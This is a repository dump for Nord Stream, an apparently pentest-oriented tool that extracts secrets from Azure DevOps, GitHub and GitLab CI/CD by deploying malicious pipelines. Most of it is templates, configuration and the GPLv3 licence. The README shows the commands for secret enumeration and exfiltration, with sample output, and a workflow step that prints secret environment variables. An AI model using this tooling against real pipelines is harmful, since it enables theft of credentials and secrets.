[
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: \"[BUG]\"\nlabels: bug\nassignees: hugo-syn\n\n---\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**To Reproduce**\nAdd information that could help us to reproduce the bug like:\n- privileges of the Token\n- scope of the Token\n- protections on a branch or environment\n- Output of the tool with the `--debug` options (Don't forget to strip your secrets)\n\n**Screenshots**\nIf applicable, add screenshots to help explain your problem.\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature request\nabout: Suggest an idea for this project\ntitle: \"[FEAT]\"\nlabels: enhancement\nassignees: hugo-syn\n\n---\n\n**Is your feature request related to a problem? Please describe.**\nA clear and concise description of what the problem is. Ex. I'm always frustrated when [...]\n\n**Describe the solution you'd like**\nA clear and concise description of what you want to happen.\n\n**Additional context**\nAdd any other context or screenshots about the feature request here. This can include specific configuration of the SCM or CI/CD system to help us implement the feature.\n"
  },
  {
    "path": ".gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\nbuild/\n\n#custom\nnord-stream-logs/\nnotes.md\n.vscode\n"
  },
  {
    "path": ".pre-commit-config.yaml",
    "content": "repos:\n  - repo: https://github.com/pre-commit/pre-commit-hooks\n    rev: v6.0.0\n    hooks:\n      - id: check-added-large-files\n      - id: check-case-conflict\n      - id: check-executables-have-shebangs\n      - id: check-merge-conflict\n      - id: check-shebang-scripts-are-executable\n      - id: end-of-file-fixer\n      - id: fix-byte-order-marker\n      - id: mixed-line-ending\n        args:\n          - --fix=no\n      - id: trailing-whitespace\n        args:\n          - --markdown-linebreak-ext=md\n\n  - repo: https://github.com/psf/black\n    rev: 26.1.0\n    hooks:\n      - id: black\n        language_version: python3\n        args:\n          - --line-length=120\n\n  - repo: https://github.com/compilerla/conventional-pre-commit\n    rev: v4.4.0\n    hooks:\n      - id: conventional-pre-commit\n        stages: [commit-msg]\n        args: [build, chore, ci, docs, feat, fix, perf, refactor, revert, style, test]\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing rules\n\n- Install [`pre-commit`](https://pre-commit.com/).\n- Enable `pre-commit` hooks in the repository folder: `pre-commit install && pre-commit install --hook-type commit-msg`. These hooks automatically format the code and check the format of the commit message.\n- The format of commit messages must follow the [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) convention.\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "# Nord Stream\n\nNord Stream is a tool that allows you extract secrets stored inside CI/CD environments by deploying _malicious_ pipelines.\n\nIt currently supports Azure DevOps, GitHub and GitLab.\n\nFind out more in the following blogpost: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks\n\n## Table of Contents\n\n- [Nord Stream](#nord-stream)\n  - [Table of Contents](#table-of-contents)\n  - [Installation](#installation)\n  - [Usage](#usage)\n    - [Shared arguments](#shared-arguments)\n      - [Describe token](#describe-token)\n      - [Build YAML](#build-yaml)\n      - [YAML](#yaml)\n      - [Clean logs](#clean-logs)\n      - [Signing commits](#signing-commits)\n    - [Azure DevOps](#azure-devops)\n      - [Service connections](#service-connections)\n        - [SSH](#ssh)\n      - [Listing orgs](#listing-orgs)\n      - [Help](#help)\n    - [GitHub](#github)\n      - [List protections](#list-protections)\n      - [Disable protections](#disable-protections)\n      - [Force](#force)\n      - [Azure OIDC](#azure-oidc)\n      - [AWS OIDC](#aws-oidc)\n      - [Help](#help-1)\n    - [GitLab](#gitlab)\n      - [List secrets](#list-secrets)\n      - [YAML](#yaml-1)\n      - [List protections](#list-protections-1)\n      - [Help](#help-2)\n  - [TODO](#todo)\n  - [Contact](#contact)\n\n## Installation\n\n```\n$ pipx install git+https://github.com/synacktiv/nord-stream\n```\n\n`git` is also required (see https://git-scm.com/download/) and must exist in your `PATH`.\n\n## Usage\n\nHere is a simple example on GitHub; initially, one can enumerate the various secrets.\n```sh\n$ nord-stream github --token \"$GHP\" --org org --list-secrets --repo repo\n[*] Listing secrets:\n[*] \"org/repo\" secrets\n[*] Repo secrets:\n        - REPO_SECRET\n        - SUPER_SECRET\n[*] PROD secrets:\n        - PROD_SECRET\n```\n\nThen proceed to the exfiltration:\n```sh\n$ nord-stream github --token \"$GHP\" --org org --repo repo  \n[+] \"org/repo\"\n[*] No branch protection rule found on \"dev_remote_ea5Eu/test/v1\" branch\n[*] Getting secrets from repo: \"org/repo\"\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[+] Secrets:\nsecret_SUPER_SECRET=value for super secret\nsecret_REPO_SECRET=repository secret\n\n[*] Getting secrets from environment: \"PROD\" (org/repo)\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[+] Secrets:\nsecret_PROD_SECRET=Value only accessible from prod environment\n\n[*] Cleaning logs.\n[*] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github\n```\n\n### Shared arguments\n\nSome arguments are shared between [GitHub](#github), [Azure DevOps](#azure-devops) and [GitLab](#gitlab) here are some examples.\n\n#### Describe token\n\nThe `--describe-token` option can be used to display general information about your token:\n\n```bash\n$ nord-stream github --token \"$PAT\" --describe-token\n[*] Token information:\n        - Login: CICD\n        - IsAdmin: False\n        - Id: 1337\n        - Bio: None\n\n```\n\n#### Build YAML\n\nThe `--build-yaml` option can be used to create a pipeline file without deploying it. It retrieves the various secret names to build the associated pipeline, which can be used to add custom steps:\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml\n[+] YAML file:\nname: GitHub Actions\n'on': push\njobs:\n  init:\n    runs-on: ubuntu-latest\n    steps:\n    - run: env -0 | awk -v RS='\\0' '/^secret_/ {print 